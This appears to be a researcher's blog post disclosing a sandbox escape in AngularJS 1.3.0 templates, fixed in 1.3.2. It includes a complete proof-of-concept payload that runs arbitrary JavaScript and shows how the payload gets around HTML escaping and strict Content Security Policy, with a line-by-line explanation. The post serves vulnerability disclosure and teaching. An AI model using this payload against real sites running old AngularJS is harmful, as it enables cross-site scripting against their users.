<!doctype html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.3.0/angular.js">
</script>
</head>
<body ng-app>
{{
!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(42);'
))
);
}}
</body>
</html>
See also on jsfiddle with HTML entities escaping and without escaping.
AngularJS has a rich client side templating system that accepts JavaScript expressions wrapped in double curly braces (mustache style templating). The template code is interpreted by an interpreter written in JS itself, and prevents the template code from accessing the DOM, and sensitive objects and functions (eval()
, Function()
, bind()
, apply()
, call()
etc.) that would allow arbitrary JS execution.
Bugs in this sandbox mechanism can lead to XSS when mixing client side and server side templating like this:
<div ng-app>
{{ '<?php echo $username; ?>' === 'admin' ? 'You are admin!' : 'You are not admin!' }}
</div>
But why would you want to trick the sandboxing code when you can simply create a <script>
tag just like in a regular XSS without much hassle? The answer is that you can bypass XSS protection mechanisms like these:
<?php echo htmlentities($username) ?>
and<?php echo htmlspecialchars($username) ?>
won't help this time. It prevents creating HTML tags, but the JS template code will be interpreted and sandbox escape will still work.- It bypasses a strict Content Security Policy defined to prevent XSS attack. In this case, no
<script>
tags are created, the code is executed by Angular.
See also: AngularJS sandbox escapes on the Mustache Security Wiki
The sandbox bypass abuses three bugs:
- It is possible to access the Function prototype as
toString.constructor.prototype
. - The
$$watchers
array is exposed on the scope and this makes it possible to call the template recursively with a given new scope. - When the scope is
Function.prototype
,apply
,bind
andcall
are all accessible and overwriteable (but not callable).
(1) is actually not new and was used in previous sandbox escapes as well, but it seems like it was not fixed. I believe that (2) and (3) are new.
The first line ensures that the expression evaluates at most once per scope. This is needed only to avoid the payload JS code from executing more than once.
!ready && (ready = true) && (
The whole payload will execute in two different contexts: first with the
original one, and later with Function.prototype
. The following conditional
expression separates the code that should be executed in the main context
and the other context. We assume that call
is only defined in the function
prototype context, so the main context code is the first branch and the
function prototype code is the second branch.
!call
? ...
: ...
The main context code runs first. It calls the template recursively with
Function.prototype
as context. It is made possible by the exposed
$$watchers[0].get
function which evaluates the current template with a
given scope. Function.prototype
is not accessible directly, but we can use
toString.constructor.prototype
instead.
? $$watchers[0].get(toString.constructor.prototype)
The following lines evaluate only when the context is Function.prototype
.
The first line saves a reference to apply
to temporary variable on the
scope.
: (a = apply) &&
The next two lines is equivalent to Function.prototype.apply = Function
and
Function.prototype.valueOf = Function.prototype.call
. These will be used
for tricking Angular into instantiating and calling a function for us in the
next step.
(apply = constructor) &&
(valueOf = call) &&
The following line first triggers the creation of a function with the code
given as argument to the toString
method and then calls the method:
(''+''.toString('js code'))
When interpreting ''.toString( ... )
, Angular actually uses apply
to
invoke the method. With this in mind, and considering the previously
overwritten methods, the previous line is equivalent to these:
(''+toString.apply('', ['js code']))
(''+Function.prototype.apply.call(toString, '', ['js code']))
(''+Function('', ['js code']))
(''+Function('', 'js code'))
(''+function() { js code })
The newly created function will be converted to string because of the '+'
operator, and as part of this process, the previously overwritten valueOf
method is called:
(''+function() { js code }.valueOf())
(''+function() { js code }.call())
(''+eval('js code'))
The actual JS code first restores every change to the Function class:
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
and the executes the main payload:
'alert(42);'
Thanks for Mathias Karlsson for inspiring this work with his previous sandbox escape, and the AngularJS team for quickly fixing the vulnerability. The fix has been released as part of AngularJS 1.3.2.
Hi. Great discovery! Is this vulnerability applicable to AngularJS 1.2.27?